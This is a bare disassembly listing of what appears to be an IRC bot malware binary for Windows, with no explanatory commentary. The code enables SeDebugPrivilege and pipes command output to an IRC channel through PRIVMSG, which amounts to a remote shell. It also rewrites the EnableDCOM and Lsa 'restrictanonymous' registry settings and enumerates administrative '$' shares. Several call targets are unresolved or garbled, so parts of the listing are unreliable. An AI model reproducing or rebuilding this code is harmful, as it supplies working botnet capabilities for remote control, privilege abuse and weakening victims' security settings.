		call	near ptr 2700BEAh
		nop
		test	eax, eax
		jnz	loc_419890


loc_4197DE:				; CODE XREF: sub_4196BD+1B9j
		push	[ebp+var_4]
		call	esi
		jmp	loc_419890
; ---------------------------------------------------------------------------


loc_4197E8:				; CODE XREF: sub_4196BD+C9j
		cmp	[ebp+arg_C], eax
		jnz	loc_41987B
		cmp	[ebp+arg_4], eax
		jz	loc_419890
		push	[ebp+var_128]
		push	8
		call	dword_4CB674
		cmp	[ebp+arg_14], 0
		mov	[ebp+var_4], eax
		mov	[ebp+var_354], 224h
		jz	short loc_41983B
		lea	ecx, [ebp+var_354]
		push	ecx
		push	eax
		call	dword_4CB514
		push	[ebp+var_128]
		test	eax, eax
		jz	short loc_419841
		lea	eax, [ebp+var_234]
		jmp	short loc_419847
; ---------------------------------------------------------------------------


loc_41983B:				; CODE XREF: sub_4196BD+15Cj
		push	[ebp+var_128]


loc_419841:				; CODE XREF: sub_4196BD+174j
		lea	eax, [ebp+var_10C]


loc_419847:				; CODE XREF: sub_4196BD+17Cj
		push	eax
		lea	eax, [ebp+var_554]
		push	offset aSD_0	; " %s (%d)"
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp+var_554]
		push	1
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h
		jmp	loc_4197DE
; ---------------------------------------------------------------------------


loc_41987B:				; CODE XREF: sub_4196BD+12Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4198C3


loc_419890:				; CODE XREF: sub_4196BD+F5j
					; sub_4196BD+10Aj ...
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_8]
		call	dword_4CB568
		test	eax, eax
		jnz	loc_419781
		xor	ebx, ebx


loc_4198AA:				; CODE XREF: sub_4196BD+9Dj
					; sub_4196BD+B3j
		push	[ebp+var_8]
		call	esi


loc_4198AF:				; CODE XREF: sub_4196BD+77j
		push	ebx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419652
		pop	ecx
		pop	ecx


loc_4198BC:				; CODE XREF: sub_4196BD+3Aj
					; sub_4196BD+46j ...
		xor	eax, eax


loc_4198BE:				; CODE XREF: sub_4196BD+22Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4198C3:				; CODE XREF: sub_4196BD+1D1j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi
		push	[ebp+var_8]
		mov	edi, eax
		call	esi
		push	0
		push	edi
		nop
		call	near ptr 2700BEAh
		test	eax, eax
		jnz	short loc_4198E7
		push	edi
		call	esi
		jmp	short loc_4198BC
; ---------------------------------------------------------------------------


loc_4198E7:				; CODE XREF: sub_4196BD+223j
		push	1
		pop	eax
		jmp	short loc_4198BE
sub_4196BD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4198EC	proc near		; DATA XREF: sub_401ACD+26CEo

var_298		= byte ptr -298h
var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 298h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		push	offset unk_439FB0
		rep movsd
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_41B886
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_8], esi
		pop	ecx
		jnz	short loc_41994B
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_409A73
		add	esp, 14h


loc_41994B:				; CODE XREF: sub_4198EC+3Dj
		push	[ebp+var_10]
		lea	eax, [ebp+var_94]
		push	esi
		push	esi
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	sub_4196BD
		add	esp, 18h
		test	eax, eax
		jnz	short loc_419973
		push	offset unk_439F8C
		jmp	short loc_419978
; ---------------------------------------------------------------------------


loc_419973:				; CODE XREF: sub_4198EC+7Ej
		push	offset unk_439F68


loc_419978:				; CODE XREF: sub_4198EC+85j
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_41B886
		cmp	[ebp+var_8], esi
		pop	ecx
		pop	ecx
		jnz	short loc_4199AB
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_409A73
		add	esp, 14h


loc_4199AB:				; CODE XREF: sub_4198EC+9Dj
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_4151AD
		push	[ebp+var_14]
		call	sub_40B413
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 26E0000h
		nop
		pop	edi
		pop	esi
sub_4198EC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4199CA	proc near		; CODE XREF: sub_401ACD+78B4p
					; sub_40B232+53p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	1
		pop	edi
		push	[esp+8+arg_0]
		push	0
		push	1F0FFFh
		nop
		call	near ptr 2680289h
		mov	esi, eax
		test	esi, esi
		jz	short loc_4199FC
		push	0
		push	esi
		nop
		call	near ptr 2700BEAh
		test	eax, eax
		jnz	short loc_4199FC
		push	esi
		xor	edi, edi
		nop
		call	near ptr 26608E3h


loc_4199FC:				; CODE XREF: sub_4199CA+1Aj
					; sub_4199CA+27j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_4199CA	endp

; ---------------------------------------------------------------------------
byte_419A01	db 56h,	33h, 0F6h	; DATA XREF: ___:004015EEo
		dd 5656016Ah, 0E8565656h, 0FFFFFCADh, 0FF18C483h, 439DAC35h
		dd 0A7E89000h, 0EB022574h
		db 0E3h

; =============== S U B	R O U T	I N E =======================================



sub_419A21	proc near		; CODE XREF: sub_419A51+2Ap
					; sub_419A89+7Ep ...
		mov	eax, dword_4DB8D8
		push	esi
		mov	esi, dword_427068
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419A35
		push	eax
		call	esi


loc_419A35:				; CODE XREF: sub_419A21+Fj
		mov	eax, dword_4DB8E0
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419A42
		push	eax
		call	esi


loc_419A42:				; CODE XREF: sub_419A21+1Cj
		mov	eax, dword_4DB8D4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419A4F
		push	eax
		call	esi


loc_419A4F:				; CODE XREF: sub_419A21+29j
		pop	esi
		retn
sub_419A21	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419A51	proc near		; CODE XREF: sub_401ACD+7605p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		call	sub_41AFE0
		pop	ecx
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_4]
		push	0
		push	ecx
		push	eax
		push	[ebp+arg_0]
		push	dword_4DB8DC
		nop
		call	near ptr 26F0000h
		test	eax, eax
		jnz	short loc_419A84
		call	sub_419A21
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_419A84:				; CODE XREF: sub_419A51+28j
		push	1
		pop	eax
		leave
		retn
sub_419A51	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419A89	proc near		; CODE XREF: sub_419B10+D3p
					; sub_419B10+F2p ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	offset dword_43D808
		push	[ebp+arg_4]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_419ACC
		push	7D0h
		nop
		call	near ptr 2670EC6h
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	offset aPrivmsgSS ; "PRIVMSG %s	:%s\r"
		push	eax
		call	sub_41B886
		add	esp, 10h
		jmp	short loc_419AE3
; ---------------------------------------------------------------------------


loc_419ACC:				; CODE XREF: sub_419A89+1Aj
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_419AE3:				; CODE XREF: sub_419A89+41j
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB6A4
		test	eax, eax
		jg	short loc_419B0C
		call	sub_419A21


loc_419B0C:				; CODE XREF: sub_419A89+7Cj
		xor	eax, eax
		leave
		retn
sub_419A89	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419B10	proc near		; DATA XREF: sub_419C65+170o

var_20C		= byte ptr -20Ch
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 200h
		xor	edi, edi
		mov	ebx, offset dword_4DB8E4


loc_419B28:				; CODE XREF: sub_419B10+79j
					; sub_419B10+DBj
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	edi
		push	edi
		push	eax
		lea	eax, [ebp+var_20C]
		push	esi
		push	eax
		push	dword_4DB8D8
		nop
		call	near ptr 2811989h
		test	eax, eax
		jz	loc_419BF6
		cmp	[ebp+var_4], edi
		jnz	short loc_419B8B
		lea	eax, [ebp+var_8]
		push	eax
		push	dword_4DB8D4
		nop
		call	near ptr 2811549h
		test	eax, eax
		jz	short loc_419B81
		cmp	[ebp+var_8], 103h
		jnz	loc_419C1A


loc_419B81:				; CODE XREF: sub_419B10+62j
		push	0Ah
		call	near ptr 2670EC6h
		nop
		jmp	short loc_419B28
; ---------------------------------------------------------------------------


loc_419B8B:				; CODE XREF: sub_419B10+4Ej
		xor	eax, eax
		cmp	[ebp+var_4], edi
		jbe	short loc_419BA2


loc_419B92:				; CODE XREF: sub_419B10+90j
		cmp	[ebp+eax+var_20C], 0Ah
		jz	short loc_419BF0
		inc	eax
		cmp	eax, [ebp+var_4]
		jb	short loc_419B92


loc_419BA2:				; CODE XREF: sub_419B10+80j
		mov	[ebp+var_4], esi


loc_419BA5:				; CODE XREF: sub_419B10+E4j
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		push	[ebp+var_4]
		lea	eax, [ebp+var_20C]
		push	eax
		push	dword_4DB8D8
		nop
		call	near ptr 2700000h
		test	eax, eax
		jz	short loc_419C42
		lea	eax, [ebp+var_20C]
		push	eax
		push	ebx
		push	dword_4DB918
		call	sub_419A89
		add	esp, 0Ch
		jmp	loc_419B28
; ---------------------------------------------------------------------------


loc_419BF0:				; CODE XREF: sub_419B10+8Aj
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_419BA5
; ---------------------------------------------------------------------------


loc_419BF6:				; CODE XREF: sub_419B10+45j
		push	offset unk_43A038
		push	ebx
		push	dword_4DB918
		call	sub_419A89
		push	[ebp+arg_0]
		call	sub_40B413
		add	esp, 10h
		push	1
		nop
		call	near ptr 26E0000h


loc_419C1A:				; CODE XREF: sub_419B10+6Bj
		call	sub_419A21
		push	offset unk_43A010
		push	ebx
		push	dword_4DB918
		call	sub_419A89
		push	[ebp+arg_0]
		call	sub_40B413
		add	esp, 10h
		push	edi
		nop
		call	near ptr 26E0000h


loc_419C42:				; CODE XREF: sub_419B10+C3j
		push	offset unk_439FE0
		push	ebx
		push	dword_4DB918
		call	sub_419A89
		push	[ebp+arg_0]
		call	sub_40B413
		add	esp, 10h
		push	edi
		nop
		call	near ptr 26E0000h
sub_419B10	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419C65	proc near		; CODE XREF: sub_401ACD+2508p

var_378		= byte ptr -378h
var_178		= byte ptr -178h
var_74		= dword	ptr -74h
var_48		= dword	ptr -48h
var_44		= word ptr -44h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 378h
		push	ebx
		push	esi
		push	edi
		call	sub_419A21
		xor	esi, esi
		lea	eax, [ebp+var_178]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset dword_433C04
		push	esi
		call	dword_4CB710
		test	eax, eax
		jz	loc_419D5F
		push	1
		lea	eax, [ebp+var_1C]
		pop	ebx
		mov	edi, dword_4270FC
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		mov	[ebp+var_1C], 0Ch
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		mov	[ebp+var_14], ebx
		mov	[ebp+var_18], esi
		call	edi
		test	eax, eax
		jz	loc_419D5F
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	edi
		test	eax, eax
		jz	loc_419D5F
		mov	edi, dword_4270F8
		push	3
		push	esi
		push	esi
		push	offset dword_4DB8DC
		call	edi
		push	eax
		push	[ebp+var_8]
		call	edi
		push	eax
		nop
		call	near ptr 2710000h
		test	eax, eax
		jz	short loc_419D5F
		push	10h
		lea	eax, [ebp+var_2C]
		push	esi
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp+var_74]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41B590
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_38], eax
		mov	[ebp+var_34], eax
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_74], edi
		push	eax
		lea	eax, [ebp+var_74]
		push	eax
		push	esi
		push	esi
		push	esi
		push	ebx
		push	esi
		mov	ebx, offset dword_43D808
		push	esi
		lea	eax, [ebp+var_178]
		push	ebx
		push	eax
		mov	[ebp+var_48], 101h
		mov	[ebp+var_44], si
		nop
		call	near ptr 2660B96h
		test	eax, eax
		jnz	short loc_419D67


loc_419D5F:				; CODE XREF: sub_419C65+2Fj
					; sub_419C65+5Cj ...
		or	eax, 0FFFFFFFFh
		jmp	loc_419E15
; ---------------------------------------------------------------------------


loc_419D67:				; CODE XREF: sub_419C65+F8j
		push	[ebp+var_4]
		mov	edi, dword_427068
		call	edi
		mov	eax, [ebp+var_10]
		push	[ebp+var_28]
		mov	dword_4DB8D8, eax
		mov	eax, [ebp+var_8]
		mov	dword_4DB8E0, eax
		mov	eax, [ebp+var_2C]
		mov	dword_4DB8D4, eax
		call	edi
		mov	eax, [ebp+arg_0]
		cmp	[ebp+arg_4], esi
		mov	dword_4DB918, eax
		jz	short loc_419DA1
		push	[ebp+arg_4]
		jmp	short loc_419DA2
; ---------------------------------------------------------------------------


loc_419DA1:				; CODE XREF: sub_419C65+135j
		push	ebx


loc_419DA2:				; CODE XREF: sub_419C65+13Aj
		push	offset dword_4DB8E4
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	esi
		push	0Ah
		push	offset unk_43A09C
		call	sub_40B0F7
		mov	edi, eax
		mov	ecx, [ebp+var_24]
		imul	edi, 234h
		add	esp, 0Ch
		mov	dword_43E598[edi], ecx
		lea	ecx, [ebp+var_30]
		push	ecx
		push	esi
		push	eax
		push	offset sub_419B10
		push	esi
		push	esi
		call	near ptr 2680000h
		nop
		cmp	eax, esi
		mov	dword_43E5A4[edi], eax
		jnz	short loc_419E13
		nop
		call	near ptr 2680867h
		push	eax
		lea	eax, [ebp+var_378]
		push	offset unk_43A068
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_378]
		push	eax
		call	sub_4151AD
		add	esp, 10h


loc_419E13:				; CODE XREF: sub_419C65+185j
		xor	eax, eax


loc_419E15:				; CODE XREF: sub_419C65+FDj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_419C65	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E1A	proc near		; DATA XREF: sub_401ACD+2E0Co

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		rep movsd
		pop	edi
		pop	esi
		push	[ebp+var_8]
		cmp	[ebp+var_10], 0
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_94]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		jz	short loc_419E61
		call	sub_419E7A
		jmp	short loc_419E66
; ---------------------------------------------------------------------------


loc_419E61:				; CODE XREF: sub_419E1A+3Ej
		call	sub_41A19E


loc_419E66:				; CODE XREF: sub_419E1A+45j
		add	esp, 10h
		push	[ebp+var_14]
		call	sub_40B413
		pop	ecx
		push	0
		nop
		call	near ptr 26E0000h
sub_419E1A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E7A	proc near		; CODE XREF: sub_419E1A+40p

var_214		= byte ptr -214h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 214h
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_4CB724, edi
		jnz	loc_419FAC
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	edi
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_4CB6C4
		test	eax, eax
		jnz	short loc_419F05
		mov	ax, word_438E18
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	edi
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_4CB678
		test	eax, eax
		jz	short loc_419EE7
		push	offset dword_43A338
		jmp	short loc_419EEC
; ---------------------------------------------------------------------------


loc_419EE7:				; CODE XREF: sub_419E7A+64j
		push	offset dword_43A318


loc_419EEC:				; CODE XREF: sub_419E7A+6Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CB630
		jmp	short loc_419F18
; ---------------------------------------------------------------------------


loc_419F05:				; CODE XREF: sub_419E7A+36j
		lea	eax, [ebp+var_214]
		push	offset dword_43A2E8
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_419F18:				; CODE XREF: sub_419E7A+89j
		cmp	[ebp+arg_C], edi
		jnz	short loc_419F37
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h


loc_419F37:				; CODE XREF: sub_419E7A+A1j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AD
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	edi
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_4CB6C4
		test	eax, eax
		jnz	short loc_419FA5
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	edi
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], 1
		call	dword_4CB678
		test	eax, eax
		jz	short loc_419F87
		push	offset dword_43A298
		jmp	short loc_419F8C
; ---------------------------------------------------------------------------


loc_419F87:				; CODE XREF: sub_419E7A+104j
		push	offset dword_43A264


loc_419F8C:				; CODE XREF: sub_419E7A+10Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CB630
		jmp	short loc_419FBF
; ---------------------------------------------------------------------------


loc_419FA5:				; CODE XREF: sub_419E7A+E2j
		push	offset dword_43A228
		jmp	short loc_419FB1
; ---------------------------------------------------------------------------


loc_419FAC:				; CODE XREF: sub_419E7A+13j
		push	offset dword_43A1F8


loc_419FB1:				; CODE XREF: sub_419E7A+130j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_419FBF:				; CODE XREF: sub_419E7A+129j
		cmp	[ebp+arg_C], edi
		jnz	short loc_419FDE
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h


loc_419FDE:				; CODE XREF: sub_419E7A+148j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AD
		cmp	dword_4CB74C, edi
		pop	ecx
		jnz	loc_41A159
		push	ebx
		mov	[ebp+var_4], edi
		mov	[ebp+var_14], edi
		mov	[ebp+var_C], edi


loc_41A001:				; CODE XREF: sub_419E7A+2C3j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	edi
		call	dword_4CB598
		cmp	eax, edi
		mov	[ebp+var_10], eax
		jz	short loc_41A09E
		cmp	eax, 0EAh
		jz	short loc_41A09E
		mov	esi, offset off_43A0C0


loc_41A032:				; CODE XREF: sub_419E7A+21Dj
		push	dword ptr [esi]
		push	edi
		call	sub_418C6C
		pop	ecx
		pop	ecx
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A049
		push	offset dword_43A1D4
		jmp	short loc_41A04E
; ---------------------------------------------------------------------------


loc_41A049:				; CODE XREF: sub_419E7A+1C6j
		push	offset dword_43A1A8


loc_41A04E:				; CODE XREF: sub_419E7A+1CDj
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 10h
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A081
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h


loc_41A081:				; CODE XREF: sub_419E7A+1EBj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AD
		add	esi, 8
		pop	ecx
		cmp	esi, offset dword_43A0E0
		jb	short loc_41A032
		jmp	loc_41A136
; ---------------------------------------------------------------------------


loc_41A09E:				; CODE XREF: sub_419E7A+1AAj
					; sub_419E7A+1B1j
		mov	esi, [ebp+var_8]
		push	1
		pop	ebx
		cmp	[ebp+var_4], ebx
		jb	loc_41A12D


loc_41A0AD:				; CODE XREF: sub_419E7A+2AFj
		mov	edi, [esi]
		push	edi
		call	sub_41D817
		cmp	word ptr [edi+eax*2-2],	24h
		pop	ecx
		jnz	short loc_41A122
		push	edi
		call	sub_418B59
		push	eax
		push	0
		call	sub_418C6C
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A0DC
		push	offset dword_43A184
		jmp	short loc_41A0E1
; ---------------------------------------------------------------------------


loc_41A0DC:				; CODE XREF: sub_419E7A+259j
		push	offset dword_43A158


loc_41A0E1:				; CODE XREF: sub_419E7A+260j
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41A115
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h


loc_41A115:				; CODE XREF: sub_419E7A+27Fj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AD
		pop	ecx


loc_41A122:				; CODE XREF: sub_419E7A+242j
		add	esi, 28h
		inc	ebx
		cmp	ebx, [ebp+var_4]
		jbe	short loc_41A0AD
		xor	edi, edi


loc_41A12D:				; CODE XREF: sub_419E7A+22Dj
		push	[ebp+var_8]
		call	dword_4CB6E4


loc_41A136:				; CODE XREF: sub_419E7A+21Fj
		cmp	[ebp+var_10], 0EAh
		jz	loc_41A001
		lea	eax, [ebp+var_214]
		push	offset dword_43A130
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		pop	ebx
		jmp	short loc_41A16C
; ---------------------------------------------------------------------------


loc_41A159:				; CODE XREF: sub_419E7A+177j
		lea	eax, [ebp+var_214]
		push	offset dword_43A100
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41A16C:				; CODE XREF: sub_419E7A+2DDj
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A18A
		push	edi
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h


loc_41A18A:				; CODE XREF: sub_419E7A+2F5j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AD
		pop	ecx
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_419E7A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A19E	proc near		; CODE XREF: sub_419E1A:loc_419E61p

var_220		= byte ptr -220h
var_20		= byte ptr -20h
var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 220h
		push	ebx
		xor	ebx, ebx
		cmp	dword_4CB724, ebx
		push	esi
		jnz	loc_41A2CC
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	ebx
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_4CB6C4
		test	eax, eax
		jnz	short loc_41A229
		mov	ax, word_438E5C
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	ebx
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_4CB678
		test	eax, eax
		jz	short loc_41A20B
		push	offset dword_43A4B0
		jmp	short loc_41A210
; ---------------------------------------------------------------------------


loc_41A20B:				; CODE XREF: sub_41A19E+64j
		push	offset dword_43A494


loc_41A210:				; CODE XREF: sub_41A19E+6Bj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CB630
		jmp	short loc_41A23C
; ---------------------------------------------------------------------------


loc_41A229:				; CODE XREF: sub_41A19E+36j
		lea	eax, [ebp+var_220]
		push	offset dword_43A2E8
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41A23C:				; CODE XREF: sub_41A19E+89j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A25B
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h


loc_41A25B:				; CODE XREF: sub_41A19E+A1j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AD
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	ebx
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_4CB6C4
		test	eax, eax
		jnz	short loc_41A2C5
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	ebx
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], ebx
		call	dword_4CB678
		test	eax, eax
		jz	short loc_41A2A7
		push	offset dword_43A454
		jmp	short loc_41A2AC
; ---------------------------------------------------------------------------


loc_41A2A7:				; CODE XREF: sub_41A19E+100j
		push	offset dword_43A41C


loc_41A2AC:				; CODE XREF: sub_41A19E+107j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CB630
		jmp	short loc_41A2DF
; ---------------------------------------------------------------------------


loc_41A2C5:				; CODE XREF: sub_41A19E+E2j
		push	offset dword_43A3E0
		jmp	short loc_41A2D1
; ---------------------------------------------------------------------------


